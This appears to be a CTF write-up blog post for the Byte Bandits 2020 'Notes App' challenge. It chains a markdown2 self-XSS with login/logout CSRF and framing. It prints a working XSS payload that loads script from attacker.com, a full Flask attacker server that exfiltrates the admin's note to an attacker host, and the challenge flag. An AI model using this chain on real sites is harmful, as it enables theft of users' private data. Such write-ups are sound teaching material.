Chaining No impact(N/A) Bugs to get High impact





I have gone through a `Byte Bandits 2020 CTF` conducted by Byte Bandits team.
There is a web challenge `Notes App`
Which is pretty cool, just a chaining of small bugs (which are encountered at Bug Hunting and treated as N/A or Out of scope).
Which made me to elaborate it, Write it as an Article.


Notes App

A service running at `https://notes.web.byteband.it/` and given source code.
Functionality is simple that, every user have only one note(sanitised by markdown2) and Admin have it too(That is the FLAG).
Given an Admin bot which loads the admin account and then visits our URL (no domain restrictions).

Observation - 1

As there is a Admin bot, visiting links. There might be a chance for SSRF etc.
So first tried for XSS. After so many trails, searches my teammate found https://github.com/trentm/python-markdown2/issues/341
Through that we got XSS, but no use. It's a SELF XSS :(
payload
<http://g<!s://q?<!-<[<script>alert(1);/\\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>aler(1);/*](http://g)->a>

Observation - 2

what we can do with SELF XSS (individually) , Again looked at the site and listed the issues
1) Logout CSRF (/logout)
2) Login CSRF (/login?username=xxxx&password=xxxxxx)
3) SELF XSS
4) No IFRAME Restrictions
All are low level bugs which made me to not get recognised at starting.

Finally

After some trails by combining them, finally crafted an attack!


Exploitation

1) Create an Attacker account, inject the XSS payload.
<http://g<!s://q?<!-<[<script>dd = document.createElement("script");dd.src = "https://attacker.com/final.js";document.head.appendChild(dd);/\\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>aler(1);/*](http://g)->a>
2) Create an attacker server based on that methodology
#!/usr/bin/env python3

from flask import *
from time import sleep

app = Flask(__name__)

@app.route("/")
def home():
    return "OK"

@app.route("/main")
def main():
    return '''
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
</head>
    <div id=iframe1></div>
    <div id=iframe2></div>
</html>
<script>
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}
async function main(){
    ifr = document.createElement('iframe');
    ifr.src = "https://notes.web.byteband.it/profile";
    ifr.name='admin';
    iframe1.appendChild(ifr);
    await sleep(500);
    ifr2 = document.createElement('iframe');
    ifr2.name='attack';
    ifr2.src = "/change-account";
    iframe2.appendChild(ifr2);
}
main();
</script>
<img src="/sleep.png">
'''

@app.route("/change-account")
def change():
    return '''
<script>
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}
async function main(){
    await sleep(500);
    ifr = document.createElement('img');
    ifr.src = "https://notes.web.byteband.it/logout";
    document.body.appendChild(ifr);
    await sleep(500);
    window.location = "https://notes.web.byteband.it/login?username=%s&password=%s";
}
main();
</script>
'''%(attacker_username, attacker_password)

@app.route("/sleep.png")
def sledp():
    sleep(10)
    return ""

@app.route("/final.js")
def js():
 script = '''
idr = document.createElement('img');
idr.src = "https:///?a="+window.top.frames[0].document.getElementsByTagName('p')[1].innerText;
document.body.appendChild(idr);
'''%attacker_server
    resp = Response(script)
    resp.headers['Content-Type'] = 'text/javascript'
    return resp

attacker_username = "attacker" # redacted
attacker_password = "p4ssw0rd" # redacted
attacker_server = "attacker.com" # redacted

if __name__=='__main__':
    app.run()
Note : To make the bot to give some for this process, Added `<img src="/sleep.png">` Which takes at least 10 sec to load from server.
3) Submitting the final URL (https://attacker.com/main) to bot

Flag :

flag{ch41n_tHy_3Xploits_t0_w1n}

Comments

Popular posts from this blog

Confidence CTF 2020 `Cat web` challenge writeup

Tokyo Westerns CTF 2020 - writeups.

Alles CTF 2020 Writeups